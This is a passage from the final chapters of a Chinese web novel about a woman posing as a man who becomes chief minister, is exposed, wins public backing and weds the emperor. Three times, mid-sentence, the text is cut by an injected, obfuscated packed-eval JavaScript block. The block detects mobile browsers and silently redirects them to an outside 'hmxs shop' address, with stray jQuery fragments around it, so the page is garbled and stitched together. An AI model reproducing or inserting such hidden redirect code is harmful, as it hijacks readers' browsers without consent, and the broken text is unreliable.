谢怀川恰好跑到近前,一把将江幼宜紧紧搂在怀里:“吓死我了,还好你没事,为什么擅自将派给你的暗卫调离,你知不知道这样多危险?” 江幼宜贴在谢怀川胸口,听着对方砰砰直跳的心跳声,也抬手回抱住对方:“我知道,可是孙卓坤这个人谨慎的很,不让他自以为找到破绽,他怎么肯下手呢?早日将他解决,也好夜长梦多。” “下次不许再以身犯险了,你知不知道侍卫说你失踪了的那一刻,我的心跳都要停了。” “我不是给你留下记号了嘛,我知道你很快就能找到我,我相信你,才这么做的。” 江幼宜抬头,看着谢怀川严肃的表情,改口:“好吧,我下次做什么之前都会先告知你。” “这还差不多。” 不多时,谢怀川带来的人把孙卓坤和栓子两个人从林子里押出来,孙卓坤看到抱在一起的两个人:“真是伉俪情深啊,就是不知道如果被首辅大人知道了你是女儿身,你还能不能继续在朝堂上混下去呢?” 不等江幼宜说话,谢怀川率先回答:“那就不劳孙爱卿操心了。” 江幼宜把脸埋在谢怀川怀里,她早就知道早晚有一天她的身份会暴露,但是没想到暴露得这么早,她还没登上那个最高的位置,还没有替女性争取到她们应有的权力,难道就要这样功亏一篑了吗? 谢怀川揉揉江幼宜的头,安慰道:“没关系,他今天离开的匆忙,不一定有时间把这件事透露出去,而且他一向视外祖为死对头,如果你的身份暴露了,朝堂上外祖就要一家独大了,他不一定乐意见到这样的情况发生,说不定他很期待看到外祖败在一个女子手里,所以不要担心,事情还没到最糟的时候。” 江幼宜点点头,事到如今也只能先这么安慰自己,谢怀川说得很有道理,孙卓坤大概率就是这么想的。而且就算被捅出去又怎样,该走的路她还是会走,顶多艰难一些而已,她能以女子之身做到户部侍郎,本身就已经能证明女子并不比任何男子差了。 孙卓坤被下狱,次辅派的人也被清算一遍,江幼宜顺理成章成了下一任次辅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654197|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她被孙卓坤绑架,以及孙卓坤通敌叛国之事也通过报纸宣扬了出去,孙卓坤的负面事迹加上她受害者的形象,让她在百姓心目中迅速正面起来,百姓的好奇心和报纸的刻意引导下,她在百姓心目中的地位已经隐隐超过顾松涛这个首辅。 农历八月十六是太后寿辰,虽不是整寿,但这几年大宁的发展所有人都看在眼里。百姓的生活越过越好,民间的乞丐流民几乎不见踪影,拐卖妇女儿童的违法行为在官府严厉的打击下也逐渐销声匿迹,从商的女子也越累越多,朝臣也有借太后寿辰好好庆祝一番的意思,是以这次太后寿辰在皇帝的默许下办得格外热闹,就连远在边境的镇北军都派了人来送寿礼。 自从太后不再垂帘听政,借口礼佛,已经好几年没在人前露面了,这也是太后第一次重新出现在众人面前。几年青灯古佛相伴,众人眼中的太后丝毫没有衰老的痕迹,只是比起以前在朝堂上更加沉淀,从前的野心写在脸上,言行也颇具攻击性,而现在只有堪破世事的淡然。 寿辰上最让人吃惊的莫过于结束时太后主动找顾首辅聊天,众所周知,两人的关系自从太后进宫时就破裂了,虽然在推谢怀川登皇位时短暂合作过,但合作之后迎来的并不是父女关系的缓和,而是更加针锋相对的对立,当时太后从前朝退至后宫,除了孙卓坤的次辅派主力,还有首辅派的手笔。 次辅已经下台,现在对皇权威胁最大的就是皇上的亲外祖——顾首辅了,这次太后跟顾首辅的交流,会是首辅跟皇权的一次调和吗?众朝臣看着随太后离去的顾松涛,暗自各有盘算。 明眼人都知道,随着谢怀川和江幼宜两人的配合,朝堂上世家的势力正在以肉眼可见的速度在缩小,寒门压过世家是迟早的事,只是世家虽说财多势大,那也只是在针对个别寒门的时候,一旦全体寒门联合起来,就算集世家之力,也不一定能战胜,更何况世家之间也并不团结,他们更看重利益,哪边有利益可图,就会倒向哪边。 势力大大缩减的世家就算现在联合起来,也不再能掌控朝堂,谢怀川现在手里不止有兵,有替他效力的寒门,还有百姓的支持,是人心向背,是众望所归,世家现在除了断尾求生,已经没有别的路可选,再想硬碰硬,输的只会是自己。 太后与顾松涛到底谈了什么,无人知晓,只是太后声称自此彻底皈依佛门,将会一直在慈宁宫礼佛,不再参与俗世。 几天后,一辆低调的马车从宫里驶出,在城外与前来送贺礼的镇北军会合,直奔北境而去,那里没有绿瓦红墙,没有宫中条条框框的规矩,只有辽阔的草场和飞驰的骏马,是一片自由的沃土。 而那个被家训和宫规束缚了半辈子的女子,终于穿上心仪的骑装,策马奔腾,她在马上回头,音容笑貌一如当年少女时期,在卜溪风脑海中从未变过。 48. 声援 “怎么突然致仕了?”百姓拿着刚从报亭买到的报纸,看着报纸一角刊登的一则新闻,围在一起议论纷纷。 首辅顾松涛突然自请致仕,成了继太后寿辰更为津津乐道的消息,至于新首辅是谁,百姓不用猜都知道,肯定是前不久刚升次辅的傅文松傅大人! 傅大人的功绩,这一张小小的报纸根本写不下,改革科举书、以身入局潜入西戎破获拐卖妇女案,协助陛下破获郡王谋反案,调查青州案,替青州案蒙冤的官员翻案,提出一系列改革法案让百姓过上富足的日子等等,这首辅要不是傅大人的,那简直是天理不容。 还有这让每个人都能知晓天下大事的报纸,也是傅大人提出来的,他们细数着傅大人的功绩,简直想撬开傅大人的脑子看看,怎么就能提出这么多点子呢?这是天神下凡解救他们贫苦老百姓的吧! 此刻被百姓想撬开脑袋的江幼宜正在内阁议事,女子需要读书科举一事再次被她提到明面上来,这一次她不再接受官员反对的意见,说她专制也好,独权也罢,她作为一个未来人,深知女子读书掌权没有一点坏处,全是好处,所以就算这些人说破天,这次她也一定要把这件事进行下去,这是她进官场的目的,官位越高,她越迫切! 那些或诋毁或可笑的话语她充耳不闻,直接将编纂好的新版启蒙书分发下去,这套书中她加入了拼音,是专门为不识字人群准备的入门级启蒙书。这套书是小草协助她完成的,现在的小草早已不同往日,她现在是京中最炙手可热的女夫子。 当年的小草仅靠她留下的字卡就学会了识字,到了京中她更是一直在拼命学习,想要早日成为一个有用的人,好回报江幼宜。只是江幼宜平时公务繁忙,没多少时间教她,一来二去,小草跟李云承熟悉起来,两人从最开始的教授学习逐渐到互相探讨,再到了解对方,渐生情愫。 小草在学成后经江幼宜介绍,进官员后宅教官家小姐读书识字,她的经历让她对读书识字的经验和作用都有旁人没有的理解,再加上她为人温柔谦和,十分得官家小姐喜爱,一来二去,就成了热门夫子,家里有适龄女娃的后宅都抢着要,小草有了能养家糊口的收入,也能坦然面对那段糟糕的过去。 于是小草和李云承得以在今年春成亲,成了他们几人中最早成亲的人。 王砚秋家里也催他成婚,可是他自己总觉得自己还没长大,承担不了为夫为父的责任,所以一直拖着。而顾靖川现在仍在京外就任,他认为自己才刚刚找到人生的方向,想要靠自己拼出一番前程再考虑儿女情长。 至于她跟谢怀川就更不用说了,周围几个亲近的朋友虽然已经知道了她女子的身份,但对旁人来说,她仍是男子,朝中一再提议选秀立后,谢怀川现在手握实权,说一不二,全都一一驳回。除了后宫空置,谢怀川这个皇帝当得无可指摘,而皇帝的后宫虽说事关江山社稷,但到底也属于皇家私事,朝臣除了经常上奏催一催也没有别的办法。 江幼宜在推行女子读书科举一事上一意孤行,且颇具效率,那套书也只是让诸位阁臣看了,还没等他们发表什么意见,她就已经让翰林院开始刊刻出版,同时出版的还有一本简易的字典。 她这番行为自然也是触怒了一帮坚决不允许女子踏出后宅的老顽固,果然,没几个月,坊间就流传出关于她真实身份的秘密,在朝臣和百姓中引起轩然大波。 这日早朝上,在其它政务均被讨论完成后,终于有御史赶在陛下宣布临散朝前站出来,弹劾当朝首辅傅文松身份有异,不止冒名顶替旁人参加科举入仕,还女扮男装,欺上瞒下,是为欺君之罪,理应立刻褫夺官职,押入诏狱。 江幼宜摘下官帽,任由一头秀发散落,并且恢复了女声,看向弹劾她的御史:“这位大人的意思是要处死我?” 那御史小心看了江幼宜一眼,随后连忙垂头:“下官不敢,只是首辅大人顶替他人身份,女扮男装确有此事,如此大罪若轻轻揭过,岂非乱了伦理纲常,朝廷法度?” “首辅大人虽然顶替他人身份入仕,可是她为官这些年,做出的功绩大家有目共睹,难道就因为她是女子,就要否认她的一切吗?” “不管她有何功绩,科举造假,欺君就是大罪!王子犯法且与庶民同罪,首辅犯法自是也一样。” “首辅大人功远大于过,你们这些人就是想借机把首辅大人排挤走!” 江幼宜看一眼吵得不可开交的朝堂,上前一步,与谢怀川交换一个眼神,拱手上奏:“陛下,臣自知有罪,这段时间臣告假在家,是赏是罚,任凭陛下处置。” 谢怀川扫一眼殿中人,语气不冷不淡:“那就如爱卿所言,从今日起,爱卿不必再理朝政,退朝。” 这下就连想让江幼宜滚出朝堂的人都愣住了,什么情况?首辅大人不是陛下一力提拔上来的吗?怎么说翻脸就翻脸,难不成陛下早就看首辅不顺眼了?生怕傅首辅,哦,不对,如今应该喊江首辅,生怕江首辅成为下一个顾首辅,所以现在就要卸磨杀驴了? 这就是帝王心吗? 江首辅自为官以来,做的桩桩件件都是为国为民的好事,陛下能有如今说一不二的实权,也离不开江首辅的功劳,果然,劳苦功高的人最先被过河拆桥,陛下,也太让人寒心了。 果然,从那天早朝之后,江幼宜再没有上过朝进过宫,刚开始几天,那些想要把江幼宜拉下去的人还有点沾沾自喜,这首辅的位置空出来了,那他们的机会不就来了吗? 但没几天事情就开始不对劲起来,自从江幼宜当上了首辅,大大小小的政令法规都有调整,如今正是关键时期,底下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658033|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人递上来的奏本越堆越高,他们倒是想批,但没那个本事。 犹犹豫豫下不去手,生怕自己做了错误的决定担责任,但底下人又着急要反馈,没有办法,只能把奏本递到陛下那里去,得陛下一句:这点小事还要朕来决定,你们内阁是干什么吃的? 他们也不想的呀,这不是之前都有江首辅做决定嘛。 还没等这些官员后悔,想要上奏把江幼宜重新请回来,民间率先掀起了支持江幼宜继续做首辅的狂潮,大街小巷上的百姓扯着横幅声援江幼宜。 而最先引领这场声援运动的,正是各地的女子互助协会,然后是更多的平民女子,再后来各大世家的贵女们也加入进来。因为鼓励商业收益的商人,因为引进新作物受益的农民,因为改进科举参考书收益的读书人,短短几天,参与这场声援运动的几乎涵盖了大宁各行各业的人。 如果谢怀川是个疑心病重的皇帝,如此有号召力的江幼宜已经被他连夜杀死了,可是他于江幼宜来说不是皇帝,而是爱人,他很高兴看到江幼宜备受追捧的模样,这意味着她终于能实现她的理想了。 在众朝臣的联名上书和各地百姓的支持下,江幼宜终于重回朝堂,至于她冒名顶替和女扮男装之事也无人再提,她身体力行证明了巾帼不让须眉,让女子读书科举一事顺利进行下去。 新一届科举已经近在眼前,她的表哥,也就是真正的傅文松终于能正大光明参加科举,翰林院里新成立的编辑部永远有他一席之地。 而被允许读书科举的女子,或许这一届科举中不见踪影,下一届科举也可能寥寥无几,但江幼宜知道,她们总会追上来,以男人们难以预料的速度! “你准备什么时候做我的皇后?”趁夜潜入首辅府的谢怀川抱着江幼宜,低声询问。 江幼宜抬头看向谢怀川,面露难色:“对不起。” “为什么?”谢怀川心里一紧,他本就因为江幼宜忙于政事疏忽他心生失落,这个对不起是什么意思?难道她终于想好,要彻底把他抛弃,投入政事的怀抱了吗? “做了你的皇后,朝臣就又有理由把我赶出朝堂了,现在女性才刚刚尝试着迈出后宅,我退一步,天下万千女子就得退十步,这一步退回去,再想回到现在的位置,就要付出先前百倍千倍的努力。”江幼宜看着谢怀川耷下去的眼角,倾身拥住他,“所以对不起,只能先委屈你了。” 谢怀川心里的担忧这才放下,只要不是想要彻底甩开他就好。他明白江幼宜的苦心,她为百姓所做的付出并不比自己这个皇帝少,自己没有立场苛责她什么,可是百姓在江幼宜心里重过他,他还是难免有些失落,若他们只是一对寻常夫妻就好了。 “没关系,只要你一直在我身边就好,即使你不做皇后,这个天下也有你一半。” 49. 大婚 早朝上,一位刚从边境调任回京都的御史出列上前:“陛下,如今海晏河清,百姓安乐,为保社稷安稳,充盈后宫一事理应提上日程。” 一时间朝堂上一片寂静,虽然平时大部分时间也很安静,但此刻的安静却显得有些诡异。 御史不禁在心里犯嘀咕,他没说错什么吧?难不成陛下有什么不可谓外人道的隐疾,他不在京都这些年,后宫空置成了陛下的禁忌话题?怪不得陛下这么多年都不选秀,也没有其他人提起,这些同僚也忒会排挤人,这么大的事情居然没人告诉他,害他当众下不来台! 其实催陛下选秀立后一事确实是这几年朝堂上必提的话题,其他御史之前经常也用这个话题来刷业绩,只不过是前段时间有官员无意中撞到陛下在文渊阁殿后跟江首辅接吻,这一传十,十传百的,劲爆消息传播速度十分之快,自从那天之后,朝堂上已经无人再提陛下婚事了,十分默契。 谁知就这么巧,这位消息不灵通的无知御史就又把这件事提出来了,一片寂静中,朝臣看看上首的陛下,再看看官员之首的江幼宜,默契地只吃瓜,不说话。 “既然如此,请各位大人五月十八日过府一叙。” 如芒在背的压力悄然无踪,御史战战兢兢抬头,发现说话的是站在文官之首的首辅江大人,悄悄松了一口气,不禁感慨,这种情形下都能给他一个外任归来毫无背景的小官解围,不愧是受万人敬仰的首辅大人。不过为什么要安排在两个月后啊,难道是还要做做陛下的心理工作不成? 也对,有隐疾的话,说不定选秀根本没姑娘参加,那多落陛下的面子啊,事关社稷传承,首辅大人说得对,必须得大家共同协商,力求一个完美的办法。 这话一出,上面本来强装淡定的谢怀川不淡定了,他猛地扭头看向江幼宜,这是什么意思?只是江幼宜并没有看他,他也琢磨不准对方的心思。 自从那次他问过对方要不要做他的皇后,得到否定回答后,他再也没有问过江幼宜,虽然一直不能跟对方成亲有点让他没安全感,但他尊重对方的意愿和理想,他知道江幼宜并不是对这段感情不负责,她只是把他跟她的理想做了取舍。 他得承认对方是对的,这几年不乏有优秀的女性踏入朝堂,可是却不是每个人都能一直在朝堂上坚持下去,适龄成亲、适龄生育、抚养孩子等等,她们有能力走出来,却总还在被旧观念束缚,有的时候走出来再退回去也并非是这些女子自愿的选择,而是被家人逼迫。 但有江幼宜这么一个灯塔般的目标树立在最前面,总也有勇敢的女子冲出来,一直坚持着。即使是又退居后宅的女子,江幼宜也总说这也是一种进步,即便只有一小步。 以前不识字,现在只要认识一个字,就是进步! 她总是这样耀眼,为旁人着想,朝中不乏青年才俊向她示好,所以那次他才被嫉妒冲昏头脑,不管不顾地跑去文渊阁找她,想要当众宣誓主权,让所有人都知道,她早已有了伴侣,被别人看到,实际是他故意的。 果然,在那天之后,明里暗里对她示爱的人少了不少,这些人只是暂时被她吸引,或许是美貌,或许是才华,可是他们都没有他爱她,在得知竞争对手是皇帝之后,纷纷打起退堂鼓,这么缺乏勇气和毅力的男人,怎么能配得上这样优秀的她呢。 就是没想到被旁人知晓他们的关系还有免被催婚的好处,如果早知道,他早就这么干了。 两个月的时间其实有点赶,但江幼宜原本也只是想简单办一场婚礼,给谢怀川一个名分而已,她现在不能做他的皇后,但她想让他做她的丈夫,所以她只想在首辅府办一场宴席,这样既能对世人宣告他们夫妻的关系,又能不入后宫,这是她能想出来的最两全其美的办法了。 而且这也是她想给谢怀川的一个惊喜。 既然是惊喜,那婚服肯定不能走内务府,不然就要被谢怀川知道了,而且她们这举办的也不是帝后大婚,只是民间普通夫妻的婚礼,所以婚服江幼宜找了民间的裁缝铺定制。 成婚需要的窗花剪纸以及喜糖喜酒喜宴等都是她亲自采购的,这还得多亏了前面有一个成了亲的小草帮忙参谋,总之,一切都进展的很顺利。 这两个月中,江幼宜经常下值后神秘消失,谢怀川向来黏人,这次都没多说什么,她其实怀疑谢怀川已经猜到她想做什么,只是假装不知道,还主动配合她。 五月十八日宜嫁娶,从五月十七日晚上开始,首辅府里的灯就没熄灭过,大红灯笼红绸帐挂了满府,双喜窗花贴得到处都是,江幼宜的房间更是装扮到除了红色基本没有别的颜色。 十八日清晨,天还未亮,忙碌了整夜未睡的江幼宜换上定制的婚服,任由妆娘为她挽发上妆,出门上了马车,她要进宫去接她认定的人生伴侣。 两人中间不存在嫁或娶,只是两个灵魂契合的人相互的选择,她抚摸这手下为谢怀川准备的婚服,想象着谢怀川穿上它的样子。 谢怀川平日的衣服非黑即白,再不就是明黄,从没见过他穿红衣,这样张扬的颜色,配上谢怀川那张脸,想来是另一种绝色。 马车一路畅通无阻进入乾清宫,这是独属于江幼宜的特权。 还没等江幼宜打开车门下车,谢怀川就先一步打开车门望了进来,他看着一身婚服、盛装打扮的江幼宜愣在当场,仿佛语言系统当场宕机了一样。 江幼宜看着谢怀川难得的傻样,捂着嘴偷笑:“呆瓜,还不扶我下去?” 谢怀川这才反应过来,双臂一个用力就将人打横抱起,急匆匆往寝殿走去。 江幼宜看他这副猴急样,以为对方会把她往龙床上一扔,直接扑上来呢,没想到谢怀川只是把她放在床边,自己单膝跪在她脚边,吻了吻她的手。 她把手中的婚服放在一边,一根手指挑起谢怀川的下巴,故意逗他:“陛下,脸怎么这么红啊?” 不说还好,一说谢怀川的脸色又红了一个度,他从地上站起来,两手撑在江幼宜两侧,径直吻下来,江幼宜双手揪住谢怀川胸口的衣服,顺势加深了这个吻。 半晌,她尝到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667030|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点咸湿温热的泪水,头往后撤,看到了谢怀川脸上的泪。 “怎么哭了?”她抬手去擦。 “我……我只是太开心了。”谢怀川被心上人看到流眼泪,还有些不好意思。 “好了,不要误了吉时,快把衣服换上,去参加我们的婚礼。” “嗯,我们的婚礼。”谢怀川无法形容他此刻心中那种好似被吹满了气的感觉,轻飘飘、鼓囊囊,幸福感满到好像从眼眶里溢出来了一样,想哭,又想笑,更想就这样把江幼宜抱在怀里永远不放开。 但他更想让所有人都知道,他是属于她的,她也是属于他的!手里的婚服布料并不上乘,但却是他最喜欢最想穿的衣服。这两个月他无数次猜测过,五月十八日这天,江幼宜会给他一个惊喜,他以为会是向朝臣百姓公开他们的关系,没想到她居然直接给他一个婚礼。 他曾经无数次幻想过他们成亲的样子,直到这一刻,他才发现,原来任何繁琐的仪式带给他的满足感都没有江幼宜这个人重要,从始至终,他要的都只有这个人。 谢怀川换好婚服,大红色的衣服更衬得他俊美挺拔,江幼宜站起来,对着谢怀川伸出手:“阿川,你愿意与我携手一生,彼此扶持,直到白头吗?” 谢怀川郑重地把手搭在江幼宜手上:“我愿意。” 殿外,侍卫已经牵来一匹系着大红花的高大白马,谢怀川把江幼宜抱上马车,自己骑上白马,一马一车缓缓向首辅府驶去。 虽然只有简单的一马一车,但谢怀川俊朗的面容和招摇的大红婚服还是吸引了不少人尾随,一路跟到首辅府,还有人没反应过来骑在马上的人是谁,只是在讨论这是谁家的小子,无名无姓的,居然胆敢求娶她们敬重的江首辅。 已经到了首辅府的官员,看着阖府上下一片喜气洋洋,在震惊过后又开始疑惑,难道江首辅邀约他们前来是参加婚宴的吗?谁的婚宴?难道是江首辅的表哥傅大人的? 在谢怀川穿着婚服,牵着江幼宜进门的那一刻,所有官员都傻眼了,直接愣在原地,陛下大婚居然在首辅府进行,这……这……这实在有失体统啊!但再有失体统又如何呢,仪式已经开始了。 有人反应过来下跪高呼陛下万岁,其他官员呼啦啦跟着跪倒一片,门外看热闹的百姓也纷纷在震惊中跪下,怪不得他们没认出来,这居然是皇上! 那日的婚礼,没有十里红妆,也没有盛大的仪式,所有人见证的只有两人真真切切的爱情。 据史书记载,皇帝谢怀川和首辅江幼宜没有举行帝后典礼,一生无后,三十岁那年,两人在皇族旁支中挑选出一个年幼失怙的小女孩,将其以皇位继承人标准培养,谢怀川五十岁时禅位于她,后江幼宜辞官,两人出京游历,遍览山河。 谢怀川和江幼宜开创了皇家追求一生一世一双人的先河,推动了一夫一妻婚姻制度的实行,大大提升了女性在婚姻中的地位,而女帝的继位,直接将女性解放运动推向新的高潮,从此大宁真正踏入男女平等的新时代。 ——全文完